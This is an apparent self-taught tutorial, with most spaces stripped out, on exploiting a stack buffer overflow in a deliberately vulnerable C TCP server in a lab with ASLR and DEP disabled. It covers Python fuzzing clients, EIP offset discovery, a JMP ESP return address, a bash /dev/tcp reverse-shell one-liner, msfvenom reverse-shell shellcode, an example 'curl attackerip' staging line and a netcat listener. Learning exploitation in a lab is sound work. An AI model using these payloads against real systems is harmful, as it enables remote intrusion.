4 Memorylocationsseemtobeaddingandsubtractingbasedonspaceneededtostoredifferentoperationsandmemory

locationsUntilfinally

5 Later-0x40c(ebp)eaxor1036arereservedandatmemorylocation7e6weseeacallto550ltreadpltgt

defineBUFFER_SIZE1024

defineHEADER_SIZE4

EIP(ReturnAddresstonextfunction)

EBPofVuln_Read(BasePointer)

to_read

buffer

read_bytes

Lastvariable(StackPointer)

So1040byteofmemorywasallocatedandthestackgrowsdownfromEBPSomeassemblyoperationsoccurandvariablesarestored

andpointersandupdatedandthememorygrowsandshrinksWithoutbeinganassemblygeniusweseethespecificfunction

(readplt)withthevulnerabilitycalledandcaninferthatthebufferallocationbeforethatisusedforthefunctioncallInthiscase1036

availablebytesLetrsquosbreakthatdown

1036bytesforthebuffer+4bytesforEBP+4bytesforEIP(InstructionPointer)

AnotherimportantpieceofthepuzzleistoldquoFindrdquothecodethatyoujustputintothebufferInourexamplethatwillbeabunchofArsquos

thatweuseduringfuzzingHoweverasweprogresstheArsquoswillgetreplacedwithmalwarebecauseabunchofArsquosarentthatuseful

outsidethecontextoflearning

Afterwefindthecodewewanttobesurethatthecomputerwillldquomove-alongrdquountilitgetstowhateverdataweputintothebufferThe

reasonforthisisbecauseknowingldquoexactlyrdquowherethecomputerputsourArsquosBrsquosandCrsquosishardWemightoverwriteallthoseldquoArsquosrdquo

ldquoBrsquosrdquoandldquoCrsquosrdquobutfindingtheexactmemorylocationthecomputerdecidestoputtheminisnotalwaysviablebecausememory

locationsmovearoundabitPluswewanttomakesurethatthecomputerdoesnrsquotexitorterminateexecutionbeforeitgetstotheBrsquosor

laterourldquomalwarerdquo

Themostbasictechniquetoaddressthisiswithx90NOP(nooperation)WereplaceourArsquos(x41)withx90andthattellsthe

computertojustldquomovealongrdquountilyougettothenextinstructionAsanoobitgivesusabiglandingpadtofindLookbelowatthe

pictureaboveandyoursquollseeanarrowthatpointsbacktotheldquoBufferrdquowithabunchofx90sThismeanswewillputaninstructioninto

IPEIPthatreturnsthecomputerbacktothebufferandtheRETURNwilllandintoabunchofNOPSandthenslidedownintotheBrsquosin

ourprogram

Thefollowingtwopicturesreallyputeverythingintoperspectiveformeignorethebuffersizenumbers

EnoughtheoryshowmeTheCode

DisablingDEPASLR

YoumustdisableASLRandDEPonalabmachinetolearnthebasicbufferoverflow

ASLR-Linux

echo0|sudoteeprocsyskernelrandomize_va_spaceDEPPassedascommandlineargumentinMakefileoratgcccommandline

-fstack-protector-Waexecstack

Onax86linuxarchitecturewithDEPASLRdisabledhellipLetrsquosgiveitashotfirstwersquollrunthevulnerableserverPoCwithinGDB

compilesthevulnerableCprogramwithanumberofprotectionsremovedDisabling-fstack-protectorremovessomemodernprotectionagainstoverwritingtheinstructionpointerLetrsquosdeferuntillaterexecstackwillmarkbinaryorsharedlibraryasrequiringexecutablestackMakefileallor

gcc-gvulnServerc-fno-stack-protector-z-Waexecstack-oServergdbServer1337

OkaysothevulnerableTCPserverisloadedintoGDBGDBisadebuggertogiveasaccessintothememoryregistersassemblyetcetcIfyourefamiliarwithwebdevelopmentlikeIwastheconceptofsettingbreakpointsatdifferentmomentsinthecodewasveryfamiliarItseemsintimidatingbutareallygoodcheatsheetishere

GDBCheatSheet

httpswwwcheatographycomfristlecheat-sheetsclosed-source-debugging-with-gdbFromtheterminaltype

run1337

NowitrsquostimetoldquoFuzzrdquoWealreadywentthroughsometheoryandrationalebeforebutitwasnrsquotdescribedinandend-to-endtypeofcontextArefresherhellipldquoFuzztestingorFuzzingisaBlackBoxsoftwaretestingtechniquewhichbasicallyconsistsinfindingimplementationbugsusingmalformedsemi-malformeddatainjectioninanautomatedfashionrdquoldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfyourememberIprovidedsomesimplecommandstoillustratetheexampleForthisapplicationwecandoitcompletelyhandsonpython-cprintx41overflowpython-cprintx41[offset]+x42[4]+x43[Overflow-offset-4]python-cprintx90[offset]+InstructionPointer[4]+x90[Overflow-offset-4]Sowecouldapproachthisacoupleofways

1 Gobackintothereversedengineeredbinariesandtrytodeterminewhatourbuffersizeisthroughthesourcecodeandassembly

2 RuntheprogramthroughthrewGDBandsetbreakpointsandfindops-codethatindicateBUFFERvariablesize3 Writeaniterativefuzzingscripttofindtheoverflowpoint

WritingthefuzzingscriptwasthebestlearningexerciseformeSowersquoregoingtocoverthatherequicklyLetrsquosstartwithgeneratingabunchofdatawiththecommandbelowIrsquomgoingtojustincreasethenumberofAsby10threetimes Examplepython-cprintx41overflowpython-cprintx4110python-cprintx4120python-cprintx4130

AllwersquoredoingiscreatingabunchofArsquosWedothisbecausewedonrsquotknowthemagicnumberofbyteswhereourattackpayloadwillresultinanoverflowThatrsquosthefuzzWewillneedtomodifythebasicpythonfuzzingexampletofittheuniqueldquopre-fixrdquothatisbuiltintothevulnerableserverlogicWewillreusetheBLACKpartsofthecodeslogicbelowandcopyintotheclientpyscriptusrbinpythonimportsocketCreateanarrayofbufferswithArsquosfrom1to5900usingincrementsof200Incrementsof200arearbitraryyoucouldusen++ifyouwanttowaitlongerWhateverbuffer=[A]counter=100whilelen(buffer)lt=30

bufferappend(Acounter)counter=counter+200

forstringinbufferprintFuzzingPASSwithsbyteslen(string)s=socketsocket(socketAF_INETsocketSOCK_STREAM)connect=sconnect((101110167110))srecv(1024)ssend(USERtestrn)srecv(1024)

ssend(PASS+string+rn)ssend(QUITrn)sclose()FirstletrsquoscreatecopyoftheoriginalclientsourcecodecpclientpyclientPoCpyNowletrsquosmakethefollowingchangestoclientPoCpyhellip usrbinpythonimportsocketimportstructimportsysiflen(sysargv)=2printUsage+sysargv[0]+[port]sysexit(1)

MESSAGE=Awhilelen(MESSAGE)lt=1000000mayneedtobeincreasedbasedonyourtargetbuffersize

DEST_IP=127001hostyourvulnProgramsislisteningonDEST_PORT=int(sysargv[1])counter=100

MESSAGE+=(Acounter)increasingthefuzzpayloadofAscounter=counter+100100hereisarbitrarysmallerwillbemoreaccuratebuttakelonger

print(lengthoffuzzoverflowis)print(len(MESSAGE))Foreducationalpurposes

forstringinMESSAGE

defconvert(MESSAGE)raw=raw+=structpack(ltIlen(MESSAGE))Serverexpectsapre-fixtellingyouthebuffersizeraw+=MESSAGEreturnraw

print(convert(MESSAGE))testpurposess=socketsocket(socketAF_INETsocketSOCK_STREAM)sconnect((DEST_IPDEST_PORT))ssend(convert(MESSAGE))data=srecv(1024)

sclose()printReceiveddatadataLetrsquosrunthepythonclientpyscriptandthevulnerableCtcpserverWersquollseethatthepythonscriptwillactasexpectedandbeginiteratingthroughthewhileloopandincreasingthenumberofArsquosIrsquoveincludedaprint()soyoucanwatchtheArsquosgrowastheclientrunsIfyouruntheclientterminalandtheserverterminalsidebysideyoursquollbeabletocomparetheclientpayloadbeingsenttothepayloadbeingreceivedbythevulnerabletcpserver

HopefullyyouruntheattackagainstyoursquorevulnerabletcpserverwhileinEDBmodeYoursquollnoticeaSIGSEGVerroratbytelengthof1101ASIGSEV(segmentationfault)oraccessviolationisafaultorfailureconditionistypicallyraisedbyhardwareasamemoryprotectionmechanismwhenyourprogramattemptstoaccessamemorylocationthateitherdoesnotexistorthatyourprogramisnotallowedtoaccessInthiscaseweoverwroteourEIP(instructionpointer)withamemorylocationof0x4141414orinotherwordsfourArsquos

ThenextpartiscriticalandIoverlookeditthefirstfewtimesIwastryingtounderstandhowthestackbufferrelatestotheregistersAt1101bytestheprogramcrashesHoweverwedonrsquotknowhowfarintotheregisterwewroteourArsquosBecausethisisopensourcecodeweknowthatthebufferwas1024bytesandwewroteout1101bytessoitrsquoslikelyweoverwrite77bytesworthofspaceoverourregisters

WhydowecareWewanttomodifyourinstructionpointerorEIPinx86IfwecanpreciselyoverwriteEIPwiththememorylocationofourprogramthenwecantricktheCPUintoexecutingourmaliciouscodeToillustrateIdrewanXthroughthereturnarraybackintoourbeforebecauseweonlyhaveabunchofArsquosinthereLetrsquossaywewanttowrite4Brsquosinthe4bytespaceinthereturnpointerTheBrsquos(x42)arearbitraryandonlyusedtoillustratethepointIfwewanttowriteBrsquostoaspecificregisterthenweneedtofigureouttheexactnumberofbytestostopwritingArsquosandstartwritingBrsquosManualbinarytreeanalysisisthebestforabeginnerinmyopinionMainlybecauseyoursquollneedtomanuallyworkyourwaythroughthebytesizelengthsmakingeducatedguesseswhileatthesametimelookingattheregistersandldquovisualizingrdquohowitallworks

Soifwehaveacrashatletrsquossay1100WecansplitthenumberofArsquosandBrsquosinto550Doingthismanuallyjustforkickspython-cprintx41550+x42550

Letrsquosusetheoriginalclientpy(notthefuzzer)andreplacetheldquoHELLOrdquomessagewithournewbufferwejustcreatedRestartthevulnerabletcpapplicationinGDBandruntheclientpywithourAandBrsquosbufferPuttingtheapplicationside-by-sideweseethat1100byteweresenthalfAsandhalfBrsquosHoweverthistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithBrsquos(x42)

LetrsquostakeourfirstlookintotheregisterstoseewhatrsquosgoingonTypeldquoinfoall-registersrdquo

EachtimeyourunthroughthebinarytreecreatenewbuffermakesureyoulookintotheregistersTheoutputshowsusthatouroverflowisinourBrsquosbecauseweseex42hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway(-8Nowweneedtogofartherdownthebinarytreetofindtheexactlocationtowriteonly4bytesofBs(x42s)SowersquollmodifyourbuffertoincludesomeCrsquosWersquolldivide11003=andapproximate366+366+368python-cprintx41366+x42366+x43368

LetrsquosupdatetheoriginalclientpyscriptagainwithournewbufferandruntheattackagainstthevulnerableserverintheEDBBythewayIfoundVIMtobefarsuperiorforreplacinglargebuffersizewordsallatonceandnavigatingbackandforthtothebeginningandendofline(-8hellipafterfatthumbingitafewtimesweplacetheclientandtheserverside-by-sideandobservewhathappened

ThistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithCrsquos(x43)TheoutputshowsusthatouroverflowisinourCrsquosbecauseweseex43hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway

WecansaytheresultsofthismakesensebecausewehavethesourcecodeWeknowthatthebufferisallocated1024bytesasapre-processorinstructionAtthispointourArsquosandBrsquosonlyequalatotalof366+366=732bytesNotenoughtooverflowthe1024butanother386isenoughtocrashintothestackrsquosregistersLetrsquoskeepgoingWersquolldividetheCrsquosupnextupdateourclientbufferandretesttheprograminEDBpython-cprintx41366+x42366+x43184+x44184ThistimeweseethefaultoccursintheDrsquoswichmeanswearegettingverycloseSincewersquoreontherighttrackandknowweneedtogetdownintoonly4bytesletrsquosbreaktheDrsquosdownfurther

python-cprintx41366+x42366+x43184+x4462+x4562+x4662

AtthispointIrsquomgettingtiredandthisisgettingoldbutweknowtheoverflowissomewhereinthelast62bytesSoletrsquospauseandaskourselveshowcouldwehavedonethisfasterWerememberouriteratorinthefuzzerTherewasareasonwhyIprintedthebytesizelengthtoscreenLetrsquosgobacktoapictureofourfuzzer

Sobetween1000and1100theoverflowoccursForfastresultswecouldrepeatthebinarytreeanalysiswhereonthelast100byteshellip

python-cprintx411000+x4225+x4325+x4425+x4525

That was much faster In one run we already know that the overflow falls somewhere within the Crsquos or x43s That could be anywhere

up to 1050 bytes This makes sense because we know our buffer is 1024 and we have an idea that there are some other registers that

mightgetoverwrittenbeforeourcodemakesitrsquoswaytotheinstructionpointerLetrsquosbreakdownthose25Crsquosinto8Crsquos8Drsquos9Ersquos

python-cprintx411000+x4225+x438+x448+x459

Now our fault occurs in our Ersquos or x45rsquos Simple math tells us that is somewhere between ~ 1040-1050 bytes and we know our registers

are4byteor32bitregistersthereforewecanbreakthatfinal9Ersquosinto4Ersquosand4Frsquosandseewhathappens

python-cprintx411000+x4225+x438+x448+x454+x464

Close 3 bytes of Ersquos or 3 x45rsquos but look closely one byte of D or x44 This means we need to subtract one D (x44) I feel like wersquore

onestepaway

python-cprintx411000+x4225+x438+x447+x454+x464

BoomThatrsquosit4bytesofErsquosor4x45rsquosLetrsquoscrackopenourregistersandconfirmthatwehavecontroloverourinstructionpointer

Okay so letrsquos recap You can save time during binary tree analysis if you print your fuzzerrsquos buffer to screen In this case we know the

crash occurred between 1000 and 1100 We also learned that our instruction pointer was well being overwritten with As We need to

find the exact location of the 4 byte EIP register because later we want to put a memory location of our ldquomalwarerdquo and tell the computer

to return to our malware in buffer If you noticed that the 44rsquos were at the end of EIP and not the beginning good catch This is because

Intel x86 is little endian meaning that the instructions are considered ldquobackwardsrdquo when provided to the CPU Basically it reads from

right-to-leftrelativetotheorderyousuppliedthedata

FindingInstructionPointerthefastway

Lucky for us there is a nice little program which helps us solve this problem much more quickly Unfortunately I found that when your

taught to use this program without learning the manual way then you may not understand what and why exactly you are using the

program

httpsgithubcomrapid7metasploit-frameworkblobmastertoolsexploitpattern_createrb

Soourfuzzertoldusthecrashhappenedatapproximately1100bytes

rootkali~locatepattern_createusrsharemetasploit-frameworktoolsexploitpattern_createrb

rootkali~usrsharemetasploit-frameworktoolsexploitpattern_createrb-l1100

This will create a pattern where each 4 bytes is a unique string Gosh I wish someone told me that You will paste the output from this

command into your clientpy buffer and overflow the program You will then receive a segmentation fault and go back into the registers

and find the unique 4 byte value in EIP Yoursquoll use a sister program which essentially counts the number of bytes in pattern_createrb

outputuntilitgetstotheunique4bytevaluethatwascopiedintoEIP

Example

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0

Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6

Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7

Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1

Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2

Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf

4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk

YoucanchecktheregistertoojusttoconfirmtheuniquefourbytestringthatwaswrittenintoEIP0x37694236

Then you use the sister program which is just going to count all the bytes in our unique buffer string up to the point of that 4 byte EIP

value

usrsharemetasploit-frameworktoolsexploitpattern_offsetrb-l1100-q37694236

Letrsquoscomparethe1040byteoffsetagainsttheoffsetwefoundmanuallyusingbinarytreeanalysis

python-cprintx411000+x4225+x438+x447+x454(EIP)+x4641000+25+8+7=1040NowweknowthatourbufferandregistersbeforeEIPisapproximately1040byteslongwhilethefollowing4byteswillbeourmemoryaddressthatreturnsusbackintoourbufferandeventuallyrunsourprogramsOnceagainIfoundthissillypicturenotonlyamusingbutthemostusefulIgnorethe500bytesizelengthandreplacethatwith1040forexample

Now we want to make a slight modification to the manual buffer we created previously by adding some x90 no operations commands

Wersquoll add exactly 1040 bytes of NOPS for now Take a second look at the illustration above and see that wersquore going to write out a

bunchofNOPSandeventuallyaddsomeldquomalwarerdquocode

python-cprintx901040+x454+x904

Letrsquosmodifyourclientpyscripttoadjustforthenew1040offsetandNOPs

Notice how similar the manual python script looks to the replaced MESSAGE variable value If this update works correctly wersquod expect

thatmemorylocationsbeforeEIPtobex90rsquosandwersquodexpecttoseethatEIPisx45454545

MESSAGE=x901040+x454+x901000

Run the vulnerable tcp server and clientpy side-by-side and yoursquoll find that the segmentation fault occurs at EIP with a value of exactly

x45454545

Now most importantly what do we put into the Instruction Pointer That depends on where your buffer of x90rsquos land To find our

NOPSletsruntheattackwiththefollowinglogicintheclientpy

MESSAGE=x901040+x454+x901000

Letrsquosswitchsomethingsupandtryanewdebuggerhellip

1 Server1337

2 Fromterminal2rarredb

3 FromedbUIrarrfilerarrattachrarrldquoServerrdquo

4 FromedbUIrarrfilerarrdebugrarrrunrarrrun(twiceorso)

5 UpdateyourclientPoCcode

6 pythonclientPoCpy1337

CodeChanges

malware=(x41100)

eip=x424

ending=x90200

nopsled=(x90(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

Welandsomex42rsquosperfectlyonEIPwhichmeansweadjustedforthebuffercorrectly

Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand

corner

Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points

to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At

memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware

Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump

intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor

aJMPESPopcodetofindamemorylocationwiththatinstruction

1 runthevulnerableserver

2 startupedbdebuggerandattackthevulnerableserver

3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP

4 Manuallysearchthrougheachloadedbinaryandclicksearch

0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU

tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder

So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the

futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun

Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow

binsh-igtampdevtcp12700144440gtamp1

Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in

one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It

lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)

The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate

a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and

not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there

isanaddedlayerofcomplexity

LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes

ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs

NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general

sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as

register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often

abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine

codeinstructionsrdquo

So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But

when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing

the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work

helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos

So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters

commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it

any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the

registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip

PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip

binsh-igtampdevtcp12700144440gtamp1

encodesto

x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x

2fx34x34x34x34x20x30x3ex26x31

Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly

from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a

simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX

To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86

encodedcommandthatthekernelcaninterpret

binsh-igtampdevtcp12700144440gtamp1

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

x86encodedShellCode

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01

xd8x7dxf3xdcx9b

TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully

understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally

worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders

- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform

- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina

singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos

ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is

malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced

- f=formathellipThatcanberawCJSPshelletcetc

- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore

- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere

Wheredoweputourmalware

While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the

clientpyscriptputtingthemalwarebeforeEIPlookslikethis

NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS

Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is

important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left

manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior

because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory

address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and

unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto

HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow

malware=x41x30

eip=x97xcfxfaxb7

eip=x41x41x41x41

ending=x90200

nopsled=(x41(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then

look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote

with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register

pointertojumpintothenopsled

One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that

specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that

can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out

bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo

for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell

codeaftertheEIPsowecanjumpintoESP

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip

x86encodedShellCodewBadCharacters(Fornextsection)

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01

xd8x7dxf3xdcx9bx00x00

Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade

UpdatedclientpyCodewiththeldquoBadCharactercoderdquo

Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the

clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and

overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a

connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection

willfail

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or

WHOIScommandsLetrsquosinvestigate

1 RightclickEIPinRegisterWindowsrarrFollowinDump

2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending

3 Lookforx00commandsandtrytonoticeanythingorstrange

WhattheTargetMachineSees

Whatwesentover

We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc

etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does

not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP

CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence

of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into

various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad

charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard

So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and

omitcharacters

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow

ofhellip

1 UseagiantblobofallASCIcharactersinHEX

2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline

Howtotestforbadcharactersandotherassemblyandregisterissues

Terminal1Server1337

Terminal2edb(orGDBIwonrsquotjudge)

fromedbrarrattachrarrServer

fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning

Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory

Yoursquollbelookingforx41orx90rsquos

Option1-AlltheASCII

x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10

x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20

x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30

x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40

x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50

x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60

